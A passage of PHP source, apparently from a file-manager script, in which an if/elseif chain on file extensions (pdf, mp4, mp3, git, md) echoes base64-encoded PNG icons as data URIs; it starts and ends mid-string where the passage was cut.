36oWeRwBAKt7zA8403F8ZRgDgcm8FHIMAXVBj1Ks8dwCAVBJ9+Ez996sAwILA8xFQWx5WQcDFe/t9rC8ASKXX3/bWfa5qDgAu2dFyCEhnJ6O+FfVLniMAQCrpPjXU9L6nEPDerkNnb4EDQCoXBKYIAXNRE1Gn44/vjXoi6stRv+g5Ibf9f8gMJNX26oNrAAAAAElFTkSuQmCC"; } elseif ($ext == "pdf") { echo "data:image/png;base64,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"; } elseif ($ext == "mp4") { echo "data:image/png;base64,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"; } elseif ($ext == "mp3") { echo "data:image/png;base64,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"; } elseif ($ext == "git") { echo "data:image/png;base64,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"; } elseif ($ext == "md") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAEnQAABJ0BfDRroQAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAYFSURBVHic7ZxNbNtkGMf/TtykTZqFUppubLDRln0hja9NE9oYIIY4wG5oExckJE5IICE4IaEJwQ3BAe4gTgyJwzhyAGkSRcAmMaRtaF0b1qJBt9KlH/muE3PY5tqxU5LmdZP4+f9Ofh/beVI9v77v69d2NNM0oZqFTOYUgBPKP5goJ9TuL0DaCwUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQjnb2+DPqfyBAOJtfewv9+w+3+2s0BHsA4VAA4VAA4VAA4VAA4VAA4ejNnjD84nEk9z3uue/a158jN3XZFe/bth33vfK65zlLl85j9vRXTecyTRPl+Tnk0xPIpS+jMJOGaRgN/hXkDk0LELv/AWx6+IDnvqULv3kK0L9nX91zjFx2Xbksnn0BAFAtlzD18Uksnv917eOJA6VDQHx0l3d8xDuuklAkirF3PkDysSd8zxUklAoQG9npGY+P7VaTwDSxcG4cC+fGUZhJAzW/cqr19GDs7fcR3bxVTT4BND0EuDBNQNMAANHUFuj9CRjZZWt3KBJF77Ydnsc3ncowMPnRe1Y7HE9g5I13kXz0oBXTdB0DB49g9lvveQVx0nIPkJ+edLRre4HYjjFooVDd41uhkltG+tMPUf73hiM+cOCQshxBp3UB/pxEdaVstWsFsHf/ZqWC3KR7ktgKlXwOi+d/qcm5Bz3JAaV5gkrLApgVA3nbzL92wmcXIj89iWq51GpKF7krfzgDmobo8L3K8wQRJZPA7MQla7tWgPjoag+Qsx2nkuLsNVcsHO/3JVfQUCJA7spFazsyNAw9kQQAhPti6N2yzdqXnbjoOlcF1VLRFaMAjaG8BwBWu/3YyE7HjN+vHqBaLrtieowCNIISAVYWbqI0N2u147cFsC8M1R6jEtNwC6BFor7kChrKFoLs/92x2/MA+/hf20uoRNMjrli1kPMtX5BQJoB9fI+P3h4CbD2AfZ6gmnC01xVb6x4DWcWXHiAymELv1u2IDm22Yn72AKGou7uv2FYjSX2UCVB7jZ967pi1XbtWoBo9sckVM3IUoBGUCWBWKsi